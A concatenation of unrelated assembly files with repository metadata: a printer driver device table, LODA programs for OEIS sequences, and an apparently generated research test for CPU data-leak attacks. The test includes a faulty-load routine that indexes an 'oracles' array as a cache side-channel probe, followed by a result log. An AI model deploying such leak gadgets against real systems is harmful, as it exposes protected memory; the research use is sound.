DefPrinter PD_MANN_TALLY_87_I, "Mannesmann Tally 87 (IBM Mode)", pp2Info DefPrinter PD_MANN_TALLY_90_I, "Mannesmann Tally 90 (IBM Mode)", pp2Info DefPrinter PD_OTC_TM850XL_I, "OTC TriMatrix 850XL (IBM Mode)", xlInfo DefPrinter PD_OKI_ML172, "Okidata ML 172", pp2Info DefPrinter PD_OKI_ML182, "Okidata ML 182", pp2Info DefPrinter PD_OKI_ML193_I, "Okidata ML 192 (IBM Mode)", pp2Info DefPrinter PD_OKI_ML320_I, "Okidata ML 193 (IBM Mode)", xlInfo DefPrinter PD_OKI_ML321_I, "Okidata ML 320 (IBM Mode)", pp2Info DefPrinter PD_OKI_ML192_I, "Okidata ML 321 (IBM Mode)", xlInfo DefPrinter PD_OKI_ML390_I, "Okidata ML 390 (IBM Mode)", pp2Info DefPrinter PD_OKI_ML391_I, "Okidata ML 391 (IBM Mode)", xlInfo DefPrinter PD_OLIVETTI_DM309_I, "Olivetti DM 309 (IBM Mode)", pp2Info DefPrinter PD_OLIVETTI_DM309L_I, "Olivetti DM 309L (IBM Mode)", xlInfo DefPrinter PD_OLYMPIA_NP136_I, "Olympia NP136 (IBM Mode)", xlInfo DefPrinter PD_OLYMPIA_NP30_I, "Olympia NP30 (IBM Mode)", pp2Info DefPrinter PD_OLYMPIA_NP80_I, "Olympia NP80 (IBM Mode)", pp2Info DefPrinter PD_OUTPUT_TECH_560DL_I, "Output Technology 560DL (IBM Mode)", xlInfo DefPrinter PD_OUTPUT_TECH_850SE_I, "Output Technology 850SE (IBM Mode)", xlInfo DefPrinter PD_PANASONIC_KXP1093_I, "Panasonic KX-P1093 (IBM Mode)", xlInfo DefPrinter PD_PANASONIC_KXP1180_I, "Panasonic KX-P1180 (IBM Mode)", pp2Info DefPrinter PD_PANASONIC_KXP1180I_I, "Panasonic KX-P1180i (IBM Mode)", pp2Info DefPrinter PD_PANASONIC_KXP1191_I, "Panasonic KX-P1191 (IBM Mode)", pp2Info DefPrinter PD_PANASONIC_KXP1524_I, "Panasonic KX-P1524 (IBM Mode)", xlInfo DefPrinter PD_PANASONIC_KXP1592_I, "Panasonic KX-P1592 (IBM Mode)", xlInfo DefPrinter PD_PANASONIC_KXP1595_I, "Panasonic KX-P1595 (IBM Mode)", xlInfo DefPrinter PD_PANASONIC_KXP1695_I, "Panasonic KX-P1695 (IBM Mode)", xlInfo DefPrinter PD_PHILIPS_NMS1433_I, "Philips NMS 1433 (IBM Mode)", pp2Info DefPrinter PD_PRINTRONIX_S7024, "Printronix S-7024", xlInfo DefPrinter PD_RELISYS_RP1814_I, "Relisys RP1814 (IBM Mode)", pp2Info DefPrinter PD_RELISYS_RP2410_I, "Relisys RP2410 (IBM Mode)", pp2Info DefPrinter PD_SANYO_PR241_I, "Sanyo PR-241 (IBM Mode)", xlInfo DefPrinter PD_SEIKOSHA_MP5300AI_I, "Seikosha MP-5300AI (IBM Mode)", xlInfo DefPrinter PD_SEIKOSHA_SBP10AI_I, "Seikosha SBP-10AI (IBM Mode)", xlInfo DefPrinter PD_SEIKOSHA_SK3000AI_I, "Seikosha SK-3000AI (IBM Mode)", pp2Info DefPrinter PD_SEIKOSHA_SK3005AI_I, "Seikosha SK-3005AI (IBM Mode)", xlInfo DefPrinter PD_SEIKOSHA_SL80AI_I, "Seikosha SL-80AI (IBM Mode)", pp2Info DefPrinter PD_SEIKOSHA_SP1200AI_I, "Seikosha SP-1200AI (IBM Mode)", pp2Info DefPrinter PD_SEIKOSHA_SP1600AI_I, "Seikosha SP-1600AI (IBM Mode)", pp2Info DefPrinter PD_SEIKOSHA_SP180AI_I, "Seikosha SP-180AI (IBM Mode)", pp2Info DefPrinter PD_STAR_NR10_I, "Star NR-10 (IBM Mode)", pp2Info DefPrinter PD_STAR_NR15_I, "Star NR-15 (IBM Mode)", xlInfo DefPrinter PD_STAR_NX10_I, "Star NX-10 (IBM Mode)", pp2Info DefPrinter PD_STAR_NX1000_I, "Star NX-1000 (IBM Mode)", pp2Info DefPrinter PD_STAR_NX1020_I, "Star NX-1020 (IBM Mode)", pp2Info DefPrinter PD_STAR_NX15_I, "Star NX-15 (IBM Mode)", xlInfo DefPrinter PD_STAR_NX2400_I, "Star NX-2400 (IBM Mode)", pp2Info DefPrinter PD_STAR_XB2410_I, "Star XB-2410 (IBM Mode)", pp2Info DefPrinter PD_STAR_XB2415_I, "Star XB-2415 (IBM Mode)", xlInfo DefPrinter PD_STAR_XR1000_I, "Star XR-1000 (IBM Mode)", pp2Info DefPrinter PD_STAR_XR1500_I, "Star XR-1500 (IBM Mode)", xlInfo DefPrinter PD_STAR_XR1520_I, "Star XR-1520 (IBM Mode)", xlInfo DefPrinter PD_TANDY_DMP134_I, "Tandy DMP 134 (IBM Mode)", pp2Info DefPrinter PD_TANDY_DMP135_I, "Tandy DMP 135 (IBM Mode)", pp2Info DefPrinter PD_TANDY_DMP136_I, "Tandy DMP 136 (IBM Mode)", pp2Info DefPrinter PD_TANDY_DMP137_I, "Tandy DMP 137 (IBM Mode)", pp2Info DefPrinter PD_TANDY_DMP442_I, "Tandy DMP 442 (IBM Mode)", xlInfo DefPrinter PD_TANDY_DMP2130_I, "Tandy DMP 2130 (IBM Mode)", xlInfo DefPrinter PD_TOSHIBA_EW311_I, "Toshiba ExpressWriter 311 (IBM Mode)", pp2Info DefPrinter PD_TOSHIBA_P321_I, "Toshiba P321 (IBM Mode)", pp2Info DefPrinter PD_TOSHIBA_P321SL_I, "Toshiba P321SL (IBM Mode)", pp2Info DefPrinter PD_TOSHIBA_P321SLC_I, "Toshiba P321SLC (IBM Mode)", pp2Info DefPrinter PD_TOSHIBA_P341SL_I, "Toshiba P341SL (IBM Mode)", xlInfo DefPrinter PD_TOSHIBA_P351_I, "Toshiba P351 (IBM Mode)", xlInfo DefPrinter PD_TOSHIBA_P351C_I, "Toshiba P351C (IBM Mode)", xlInfo DefPrinter PD_TOSHIBA_P351SX_I, "Toshiba P351SX (IBM Mode)", xlInfo DefPrinter PD_UNISYS_AP1327_I, "Unisys AP 1327 (IBM Mode)", pp2Info ;---------------------------------------------------------------------------- ; Driver Info Header ;---------------------------------------------------------------------------- DriverExtendedInfoTable < {}, ; lmem hdr PrintDevice/2, ; # devices offset deviceStrings, ; devices offset deviceInfoTab ; info blocks > PrintDriverInfo < 30, ; timeout (sec) PR_DONT_RESEND, isoSubstitutions, ;ISO sub tab. asciiTransTable, PDT_PRINTER, TRUE > ;---------------------------------------------------------------------------- ; Device String Table and Strings ;---------------------------------------------------------------------------- isoSubstitutions chunk.word 0ffffh ;no ISO subs. ; ASCII Translation List for Foreign Language Versions asciiTransTable chunk.char ";;",0 ;Create the actual tables here...... PrinterTables DriverInfo ends
54.90411
86
0.713157
465bbd0af87ed761023349264f0560d6cdeb6e54
520
asm
Assembly
oeis/080/A080450.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/080/A080450.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/080/A080450.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A080450: a(1) = 6, a(n) = smallest (nontrivial) multiple of a(n-1) containing n digits, a(n) not equal to 10*a(n-1). Also a(n) is not divisible by 10. ; Submitted by Jon Maiga ; 6,12,108,1188,10692,117612,1058508,11643588,104792292,1152715212,10374436908,114118805988,1027069253892,11297761792812,101679856135308,1118478417488388,10066305757395492,110729363331350412 seq $0,80447 ; a(1) = 3, a(n) = smallest (nontrivial) multiple of a(n-1) containing n digits, a(n) not equal to 10*a(n-1). add $0,4 div $0,6 mul $0,6
57.777778
190
0.740385
ac599716dde9e64b708bb36ffb90eec637819d77
5,218
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1471.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1471.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1471.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r9 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x1cd28, %r13 nop nop nop inc %rbx mov $0x6162636465666768, %r9 movq %r9, (%r13) nop nop nop sub %rax, %rax lea addresses_normal_ht+0x19fb8, %rsi lea addresses_WC_ht+0xbda8, %rdi add $15791, %rdx mov $106, %rcx rep movsq nop nop nop nop xor %rdi, %rdi lea addresses_WC_ht+0x12d28, %rsi lea addresses_normal_ht+0x1e528, %rdi clflush (%rdi) nop nop nop nop sub $46953, %r9 mov $109, %rcx rep movsw nop nop nop nop nop sub %rdi, %rdi lea addresses_UC_ht+0x16148, %rcx clflush (%rcx) cmp %rax, %rax movb $0x61, (%rcx) nop nop nop nop nop cmp $52297, %r9 lea addresses_A_ht+0x928, %r9 nop nop nop nop and $37172, %rsi mov (%r9), %rcx nop nop and $41638, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r13 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %rdi push %rdx // Faulty Load lea addresses_UC+0x4528, %rdi nop nop nop nop nop add %rdx, %rdx movups (%rdi), %xmm2 vpextrq $1, %xmm2, %r12 lea oracles, %rdi and $0xff, %r12 shlq $12, %r12 mov (%rdi,%r12,1), %r12 pop %rdx pop %rdi pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
42.770492
2,999
0.662323
057420e2e82e1995bab721153656a442b24ebf28
829
asm
Assembly
oeis/142/A142672.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/142/A142672.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/142/A142672.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A142672: Primes congruent to 11 mod 57. ; Submitted by Jon Maiga ; 11,239,353,467,809,1151,1493,1607,1721,1949,2063,2633,2861,3089,3203,3659,4001,4229,4457,4799,5483,5711,5939,6053,6737,7079,7193,7307,7649,7877,8219,8447,9473,9587,9929,10271,10499,10613,11069,11411,11867,11981,12323,12437,12893,13007,13121,13463,13577,13691,14033,14489,14717,14831,15173,15287,15401,15629,15971,16427,16883,17681,17909,18251,18593,19163,19391,19961,20759,20873,21101,21557,22013,22469,22697,22811,23039,23609,24179,24407,24749,24977,25889,26003,26459,26573,26687,26801,27143,27827 mov $1,5 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,2 mov $3,$1 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,57 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 mul $0,2 sub $0,113
34.541667
500
0.728589
dafb97869b8a945e8eb8648bbc40827972f48503
376
asm
Assembly
programs/oeis/232/A232779.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/232/A232779.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/232/A232779.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A232779: Sum of iterated logs; a(n) = 0 if n = 0; otherwise n + a(floor(log2(n)) where log2 is the base-2 logarithm. ; 0,1,3,4,7,8,9,10,12,13,14,15,16,17,18,19,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68 mov $1,22 lpb $0,1 trn $0,1 add $0,1 add $1,$0 log $0,2 lpe sub $1,22
31.333333
177
0.625
891a94ff0e943992cd988d290c82ba946f418acf
669
asm
Assembly
programs/oeis/313/A313739.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/313/A313739.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/313/A313739.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A313739: Coordination sequence Gal.6.159.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,5,10,15,20,25,31,37,42,47,52,57,62,67,72,77,82,87,93,99,104,109,114,119,124,129,134,139,144,149,155,161,166,171,176,181,186,191,196,201,206,211,217,223,228,233,238,243,248,253 mov $2,$0 add $2,1 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 mov $5,$0 add $6,$0 add $0,$6 add $5,4 mov $7,6 lpb $0 mod $5,12 mul $7,2 add $7,4 mul $7,2 sub $7,2 add $5,$7 mov $0,$5 div $0,10 lpe mov $3,$0 add $3,2 add $1,$3 lpe sub $1,1 mov $0,$1
20.90625
179
0.603886